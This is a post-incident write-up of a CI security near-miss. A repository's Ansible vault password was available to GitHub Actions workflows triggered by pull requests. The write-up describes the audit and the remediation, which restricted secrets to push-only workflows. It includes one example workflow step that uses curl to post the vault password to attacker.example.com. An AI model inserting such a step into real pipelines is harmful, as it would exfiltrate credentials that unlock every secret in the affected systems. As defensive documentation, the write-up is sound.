CI Vault Password Exposure — Security Near-Miss
Summary
In June 2026, a security audit of the mistborn-ops/ansible CI
pipeline revealed that the Ansible vault password was being passed as
an environment variable to workflows triggered by pull_request events.
This meant any PR — including one from a fork — could contain workflow
code that reads ANSIBLE_VAULT_PASSWORD and exfiltrates it. The vault
password is the single credential that decrypts every secret in
TheBurrow: NetBox tokens, Pi-hole API passwords, Step-CA provisioner
credentials, GitHub PATs, and more.
No exfiltration occurred. The exposure was discovered through deliberate audit, not incident response.
Date discovered: 2026-06-11 Severity: Critical — potential full secrets compromise Status: Remediated — mistborn-ops/ansible #741
Situation
TheBurrow's Ansible repo uses Ansible Vault to encrypt secrets at rest.
The vault password is stored as a GitHub Actions secret
(ANSIBLE_VAULT_PASSWORD) and used by CI workflows to run check-mode
playbook runs, lint checks, and idempotence validation.
CI workflows are triggered on pull_request events to validate
incoming changes before merge. The vault password was passed to these
workflows as an environment variable:
env:
ANSIBLE_VAULT_PASSWORD: ${{ secrets.ANSIBLE_VAULT_PASSWORD }}
This pattern is standard for trusted contributors — but GitHub Actions
has a critical nuance: secrets are available to pull_request workflows
from forks with a caveat. For public repos or repos where fork PRs
are permitted, a malicious actor can submit a PR that modifies workflow
files or injects steps that print or exfiltrate environment variables.
Even in a private repo with a sole operator, the pattern establishes a dangerous precedent and creates risk if repo access is ever compromised.
Task
Identify the full scope of CI workflows with access to the vault
password on pull_request triggers, assess the real-world risk, and
remediate without breaking legitimate CI functionality.
Symptoms
There were none — this was a proactive audit finding, not an incident
response. The exposure was identified by reviewing workflow trigger
conditions and secret injection patterns across all GitHub Actions
workflows in mistborn-ops/ansible.
Problem
The Ansible vault password was injected into CI workflows that ran on
pull_request events. Any code running in that workflow context —
including code introduced by the PR itself — had access to the secret
via the environment.
A minimal proof-of-concept attack would look like this:
## Malicious step added to a workflow in a PR
- name: Exfiltrate vault password
run: curl -X POST https://attacker.example.com/collect \
-d "vault=$ANSIBLE_VAULT_PASSWORD"
env:
ANSIBLE_VAULT_PASSWORD: ${{ secrets.ANSIBLE_VAULT_PASSWORD }}
If this step ran before any security gate caught it, the vault password
would be transmitted to an external endpoint. With the vault password,
an attacker could decrypt group_vars/all/vault.yml and retrieve every
secret stored in the lab.
Investigation
Scope of exposure
Audited all workflow files in .github/workflows/ for:
- Trigger conditions including
pull_request - Presence of
ANSIBLE_VAULT_PASSWORDinenv:blocks - Steps that execute arbitrary code (shell scripts, Python, etc.)
Found multiple workflows passing the vault password on pull_request
triggers, including the primary CI sanity check workflow that runs
check-mode playbooks.
Real-world risk assessment
mistborn-ops/ansible is a private repository with a single
operator. External fork PRs are not possible. However:
- If the GitHub account were compromised, an attacker could open a PR from within the account and trigger vault password exfiltration via CI
- The pattern violates least-privilege — workflows that only need to lint YAML or run syntax checks do not need the vault password at all
- Establishing this pattern normalizes secret injection into PR workflows, making future mistakes more likely
Why it wasn't caught earlier
The vault password had been in CI from the beginning — it was added when check-mode runs were first implemented and never audited for trigger scope. The assumption was "it's a private repo, it's fine." That assumption is not a security control.
Root Cause
Two contributing factors:
- Overly broad secret injection — the vault password was passed to all CI workflows rather than only those that genuinely required it.
- Trigger scope not reviewed — workflows were written to run on
pull_requestwithout considering which secrets should be available in that context vs.pushorworkflow_dispatch.
Resolution
Step 1 — Identify which workflows actually need the vault password
Audited each workflow for whether it runs Ansible commands that require vault decryption. Result:
- Check-mode playbook runs: yes, vault required
- YAML lint: no vault needed
- Commitlint: no vault needed
- Idempotence checks: yes, vault required
- Pre-commit hooks: no vault needed
Step 2 — Restrict vault-dependent workflows to push only
Changed trigger conditions on all workflows that inject the vault password from:
on:
pull_request:
branches: [main]
push:
branches: [main]
To:
on:
push:
branches: [main]
workflow_dispatch:
PR validation now runs only the subset of checks that do not require vault access. Full check-mode runs execute only after merge to main.
Step 3 — Remove vault password from PR-triggered workflows
Removed ANSIBLE_VAULT_PASSWORD from the env: blocks of all
workflows that run on pull_request. Any workflow that cannot function
without the vault password was moved to push-only triggers.
Step 4 — Add explicit documentation
Added a comment to all vault-injecting workflows:
## SECURITY: vault password only available on push/workflow_dispatch.
## Never inject ANSIBLE_VAULT_PASSWORD into pull_request workflows.
Result
- No workflow running on
pull_requesthas access to the vault password - Full check-mode validation continues to run on
pushto main - PR validation provides fast feedback on syntax, lint, and commit format without requiring vault access
- Pattern is documented to prevent regression
Impact
No secrets were compromised. The near-miss impact assessment:
If the vault password had been exfiltrated, an attacker would have had access to:
- NetBox API tokens
- Pi-hole API passwords (all three nodes)
- Step-CA JWK provisioner password
- GitHub PATs with repo write access
- Home Assistant long-lived token
- SNMP community strings
- All service account credentials
Recovery would have required rotating every secret in the vault — a multi-hour operation affecting every automated system in the lab.
Security Implications
The private repo assumption is not a security control
"It's private" does not mean "it's safe to inject secrets into PR workflows." Account compromise, insider threat (even sole-operator), or future repo visibility changes all invalidate the assumption.
Least privilege applies to CI secrets
Secrets should be injected only into the workflows that genuinely require them, with the narrowest possible trigger scope. A lint workflow does not need the vault password. A commit message validator does not need the vault password. Injecting it anyway violates least privilege.
PR-controlled code runs before security gates
A malicious step in a PR can execute before any review or approval gate catches it — especially in a sole-operator repo where there is no required reviewer. The only reliable mitigation is ensuring the secret is never available in that execution context.
Audit CI secret injection regularly
This exposure existed from the initial CI implementation and was never audited. CI workflows evolve incrementally and secret injection patterns drift. Periodic audit of which secrets are available in which trigger contexts should be a standing operational practice.
Failure Modes
What would exfiltration have looked like
- Silent: no alert, no log entry beyond normal CI output
- Fast: a single
curlstep takes under a second - Deniable: the step could be disguised as a legitimate network call
- Irreversible: once the vault password is out, all derived secrets must be treated as compromised
What detection would have required
- GitHub audit log showing unexpected network egress from CI runner
- Secret scanning catching the vault password in CI output (it wouldn't — env vars are not logged by default)
- Manual review of all PR workflow runs
There was no automated detection in place. This was a blind spot.
Lessons Learned
Treat CI secrets with the same discipline as production secrets. The vault password is the most sensitive credential in the lab. It should be available in the minimum number of execution contexts required for legitimate operation — nothing more.
Audit secret injection scope on every new workflow. When a new workflow is added, explicitly answer: which secrets does this need, and on which triggers? Document the answer in a comment.
"Private repo" is not a security boundary for CI secrets. The attack surface includes account compromise, not just external contributors. Design CI security for the worst plausible case.
Near-misses are gifts. This was found through audit, not incident response. The correct response is to treat it with the same urgency as an actual compromise — rotate if in doubt, remediate immediately, and document what was missed.
Related
- mistborn-ops/ansible #741 — security fix PR
- mistborn-ops/ansible #602 — vault lifecycle management tooling
- newcomb-labs/engineering-journal-kb #444 (this issue)
- newcomb-labs/engineering-journal-kb #443 — vault split incident (related)